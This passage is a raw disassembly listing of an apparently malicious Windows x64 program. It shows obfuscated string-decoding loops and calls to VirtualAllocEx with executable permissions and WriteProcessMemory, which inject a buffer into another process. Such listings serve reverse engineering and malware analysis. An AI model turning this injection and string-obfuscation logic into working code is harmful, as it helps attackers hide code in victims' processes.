pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140273b40
cmp eax, 0x1a
jge 0x140273d5a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x1a
jl 0x140273d10
lea rcx, [rsp + 0x68]
mov edx, r10d
call fcn.140202680
mov rdx, qword [rbp - 0x50]
xor r8d, r8d
mov r9d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140277b97
mov r9d, 0x40
mov qword [rsp + 0x20], rbx
lea r8, [rbp - 0x30]
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140274095
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x1402ac581], bl
mov r10d, eax
movups xmm0, xmmword [0x1402ac568]
movzx ecx, word [0x1402ac580]
mov word [rbp - 0x80], cx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402ac578]
movsd qword [rsp + 0x78], xmm0
je 0x14027406a
cmp dword [0x1402bd008], 2
jl 0x14027400e
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
mov r14d, 5
movdqa xmm6, xmmword [0x1402ad170]
mov r15d, 6
movdqa xmm7, xmmword [0x1402ad180]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140273e50
cmp eax, 0x1a
jge 0x14027406a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x1a
jl 0x140274020
lea rcx, [rsp + 0x68]
mov edx, r10d
call fcn.140202680
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rdi
jmp 0x140273d6b
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x40], rax
mov rsi, rax
test rax, rax
jne 0x1402743a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x1402bd008], 2
mov r10d, eax
movups xmm0, xmmword [str._f___2m_969_:49:A]
mov ecx, dword [0x1402ac610]
movups xmm1, xmmword [0x1402ac5f8]
mov dword [rbp - 0x70], ecx
movzx ecx, word [0x1402ac614]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x6c], cx
movsd xmm0, qword [0x1402ac608]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
jl 0x14027433e
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
mov r14d, 5
movdqa xmm6, xmmword [0x1402ad170]
mov r15d, 6
movdqa xmm7, xmmword [0x1402ad180]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x28
jl 0x140274180
cmp eax, 0x2e
jge 0x14027439a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x2e
jl 0x140274350
lea rcx, [rsp + 0x68]
jmp 0x14027406f
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
lea r8, [0x140277c00]
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402746ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x1402ac7eb], bl
mov r10d, eax
movups xmm0, xmmword [0x1402ac7d0]
mov ecx, dword [0x1402ac7e8]
mov dword [rbp - 0x80], ecx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402ac7e0]
movsd qword [rsp + 0x78], xmm0
je 0x14027468a
cmp dword [0x1402bd008], 2
jl 0x140274630
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
mov r14d, 5
movdqa xmm6, xmmword [0x1402ad170]
mov r15d, 6
movdqa xmm7, xmmword [0x1402ad180]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140274472
cmp eax, 0x1c
jge 0x14027468a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x1c
jl 0x140274640
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.140202680
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x140273d6b
cmp byte [0x1402ac731], bl
mov r14d, 5
movups xmm0, xmmword [0x1402ac720]
movzx eax, word [0x1402ac730]
mov esi, dword [0x1402bd008]
lea r15d, [r14 + 1]
mov word [rsp + 0x60], ax
lea r12d, [r14 + 0x1a]
movups xmmword [rsp + 0x50], xmm0
je 0x140274980
mov r9d, ebx
cmp esi, 2
jl 0x140274921
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140274760
cmp r9d, 0x12
jge 0x140274980
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x12
jl 0x140274930
mov rdi, qword [rbp - 0x50]
lea rcx, [rsp + 0x50]
mov rdx, rdi
call fcn.140202680
cmp byte [0x1402ac5e3], bl
movups xmm0, xmmword [str._f_57__o838y:_]
mov eax, dword [0x1402ac5e0]
mov dword [rsp + 0x60], eax
movups xmmword [rsp + 0x50], xmm0
je 0x140274c30
mov r9d, ebx
cmp esi, 2
jl 0x140274bd1
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140274a10
cmp r9d, 0x14
jge 0x140274c30
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x14
jl 0x140274be0
mov rdx, qword [rbp - 0x48]
lea rcx, [rsp + 0x50]
call fcn.140202680
cmp byte [0x1402ac671], bl
movups xmm0, xmmword [0x1402ac660]
movzx eax, word [0x1402ac670]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x50], xmm0
je 0x140274ee0
mov r9d, ebx
cmp esi, 2
jl 0x140274e81
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140274cc0
cmp r9d, 0x12
jge 0x140274ee0
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, r9b
inc r9d
add cl, cl
add cl, 0x41
xor byte [r10 - 1], cl
cmp r9d, 0x12
jl 0x140274e90
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.140202680
movups xmm0, xmmword [0x1402ac710]
movups xmmword [rsp + 0x50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140275190
cmp esi, 2
jl 0x14027512b
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x54]
